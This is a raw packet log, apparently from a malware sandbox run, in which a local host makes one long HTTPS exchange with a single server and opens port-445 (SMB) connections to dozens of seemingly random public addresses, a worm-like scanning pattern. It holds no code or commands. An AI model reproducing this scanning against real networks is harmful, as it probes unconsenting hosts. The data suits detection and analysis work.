Jul 20, 2022 19:08:43.116502047 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.116615057 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.122395039 CEST	52632	445	192.168.2.7	129.42.240.53
Jul 20, 2022 19:08:43.128194094 CEST	52633	445	192.168.2.7	28.175.52.129
Jul 20, 2022 19:08:43.128269911 CEST	52634	445	192.168.2.7	14.252.36.44
Jul 20, 2022 19:08:43.128324032 CEST	52635	445	192.168.2.7	150.61.99.68
Jul 20, 2022 19:08:43.128362894 CEST	52636	445	192.168.2.7	57.188.157.96
Jul 20, 2022 19:08:43.130052090 CEST	52622	443	192.168.2.7	23.211.6.115
Jul 20, 2022 19:08:43.130130053 CEST	443	52622	23.211.6.115	192.168.2.7
Jul 20, 2022 19:08:43.205188036 CEST	52637	445	192.168.2.7	71.112.173.79
Jul 20, 2022 19:08:43.205929995 CEST	52638	445	192.168.2.7	80.198.138.94
Jul 20, 2022 19:08:43.206994057 CEST	52640	445	192.168.2.7	204.46.76.68
Jul 20, 2022 19:08:43.221812010 CEST	52647	445	192.168.2.7	161.165.153.85
Jul 20, 2022 19:08:43.222645044 CEST	52648	445	192.168.2.7	132.208.83.3
Jul 20, 2022 19:08:43.224098921 CEST	52650	445	192.168.2.7	149.142.140.42
Jul 20, 2022 19:08:43.224860907 CEST	52651	445	192.168.2.7	93.218.236.47
Jul 20, 2022 19:08:43.225651026 CEST	52652	445	192.168.2.7	56.137.118.235
Jul 20, 2022 19:08:43.226362944 CEST	52653	445	192.168.2.7	220.90.8.104
Jul 20, 2022 19:08:43.227092028 CEST	52654	445	192.168.2.7	51.151.19.76
Jul 20, 2022 19:08:43.236772060 CEST	52656	445	192.168.2.7	98.101.68.75
Jul 20, 2022 19:08:43.237505913 CEST	52657	445	192.168.2.7	167.219.189.44
Jul 20, 2022 19:08:43.238954067 CEST	52659	445	192.168.2.7	48.140.246.53
Jul 20, 2022 19:08:43.240845919 CEST	52660	445	192.168.2.7	59.45.30.92
Jul 20, 2022 19:08:43.259423971 CEST	52662	445	192.168.2.7	129.170.24.198
Jul 20, 2022 19:08:43.259927988 CEST	52665	445	192.168.2.7	168.45.73.26
Jul 20, 2022 19:08:43.260055065 CEST	52666	445	192.168.2.7	26.4.211.128
Jul 20, 2022 19:08:43.260061979 CEST	52664	445	192.168.2.7	29.37.28.140
Jul 20, 2022 19:08:43.260308981 CEST	52674	445	192.168.2.7	219.7.91.21
Jul 20, 2022 19:08:43.260350943 CEST	52673	445	192.168.2.7	188.176.108.66
Jul 20, 2022 19:08:43.260427952 CEST	52675	445	192.168.2.7	189.23.163.246
Jul 20, 2022 19:08:43.260466099 CEST	52676	445	192.168.2.7	142.210.122.51
Jul 20, 2022 19:08:43.490885019 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.490916967 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.490935087 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.491025925 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.491040945 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.491054058 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.491096020 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.491103888 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.491169930 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.491178989 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.491193056 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.491204023 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.491225004 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.491233110 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.491306067 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.491317034 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.491333961 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.491360903 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.491368055 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.491441965 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.491451979 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.491468906 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.491492987 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.491499901 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.491586924 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.491600990 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.491617918 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.491725922 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.491739988 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.491755009 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.491766930 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.491859913 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.491873026 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.491892099 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.491904974 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.491914034 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.492041111 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.492053986 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.492069960 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.492091894 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.492099047 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.492228031 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.492492914 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.492505074 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.492621899 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.492721081 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.492731094 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.492748022 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.492760897 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.492870092 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.492882967 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.492897034 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.492948055 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.492961884 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.493069887 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.493082047 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.493098974 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.493145943 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.493156910 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.493168116 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.493267059 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.493278027 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.493343115 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.493355036 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.493374109 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.493380070 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.493421078 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.493432045 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.493494034 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.493505955 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.493552923 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.493565083 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.493583918 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.493612051 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.493623018 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.493688107 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.493700981 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.493733883 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.493743896 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.493777037 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.493798018 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.493813038 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.493849993 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.493874073 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.493901014 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.493940115 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.493951082 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.494005919 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.494018078 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.494034052 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.494039059 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.494075060 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.494086027 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.494105101 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.494122982 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.494183064 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.494190931 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.494213104 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.494322062 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.494330883 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.494370937 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.494395971 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.494409084 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.494410992 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.494450092 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.494463921 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.494496107 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.494508982 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.494539976 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.494553089 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.494573116 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.494590044 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.494638920 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.494677067 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.494752884 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.494791031 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.494828939 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.494873047 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.494914055 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.494925976 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.494934082 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.494971991 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.494982958 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.495003939 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.495033979 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.495079041 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.495115042 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.495208979 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.495229959 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.495266914 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.495318890 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.495332003 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.495366096 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.495372057 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.495405912 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.495418072 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.495436907 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.495462894 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.495531082 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.495543003 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.495593071 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.495596886 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.495623112 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.495687008 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.495750904 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.495769978 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.495783091 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.495847940 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.495863914 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.495888948 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.495939016 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.495953083 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.495986938 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.496005058 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.496030092 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.496041059 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.496092081 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.496119976 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.496126890 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.496141911 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.496203899 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.496208906 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.496256113 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.496267080 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.496290922 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.496320009 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.496326923 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.496386051 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.496402025 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.496438026 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.496442080 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.496468067 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.496509075 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.496531010 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.496573925 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.496625900 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.496666908 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.496711016 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.496725082 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.496764898 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.496768951 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.496798992 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.496808052 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.496826887 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.496857882 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.496915102 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.496933937 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.497016907 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.497050047 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.497090101 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.497132063 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.497145891 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.497164011 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.497179031 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.497208118 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.497220039 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.497239113 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.497273922 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.497338057 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.497349977 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.497375965 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.497428894 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.497468948 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.497487068 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.497543097 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.497565031 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.497577906 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.497616053 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.497637987 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.497642994 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.497658968 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.497701883 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.497708082 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.497746944 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.497756004 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.497781992 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.497793913 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.497833967 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.497844934 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.497860909 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.497869015 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.497885942 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.497901917 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.497911930 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.497951984 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.497956038 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.497988939 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.498003006 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.498016119 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.498042107 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.498069048 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.498081923 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.498095036 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.498141050 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.498234987 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.498265982 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.498322964 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.498330116 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.498348951 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.498358011 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.498410940 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.498424053 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.498481035 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.498500109 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.498511076 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.498577118 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.498615026 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.498699903 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.498709917 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.498742104 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.498789072 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.498816967 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.498821020 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.498837948 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.498895884 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.498923063 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.498923063 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.498948097 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.498980045 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.499010086 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.499037027 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.499037981 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.499104023 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.499104023 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.499119997 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.499150038 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.499155045 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.499217033 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.499227047 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.499295950 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.499346972 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.499361038 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.499380112 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.499408960 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.499432087 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.499485016 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.499517918 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.499531984 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.499574900 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.499581099 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.499615908 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.499627113 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.499640942 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.499667883 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.499691963 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.499735117 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.499747992 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.499762058 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.499777079 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:43.499806881 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.499847889 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.536885023 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.537105083 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.538520098 CEST	52624	443	192.168.2.7	80.67.82.211
Jul 20, 2022 19:08:43.538551092 CEST	443	52624	80.67.82.211	192.168.2.7
Jul 20, 2022 19:08:44.081027031 CEST	52681	445	192.168.2.7	170.221.228.7
Jul 20, 2022 19:08:44.313990116 CEST	52682	445	192.168.2.7	166.179.195.4
Jul 20, 2022 19:08:44.315083981 CEST	52683	445	192.168.2.7	55.144.117.209
Jul 20, 2022 19:08:44.315623045 CEST	52684	445	192.168.2.7	6.38.71.106
Jul 20, 2022 19:08:44.323580980 CEST	52685	445	192.168.2.7	197.3.124.4
Jul 20, 2022 19:08:44.385428905 CEST	52686	445	192.168.2.7	46.240.142.75
Jul 20, 2022 19:08:44.385519028 CEST	52687	445	192.168.2.7	117.27.193.34
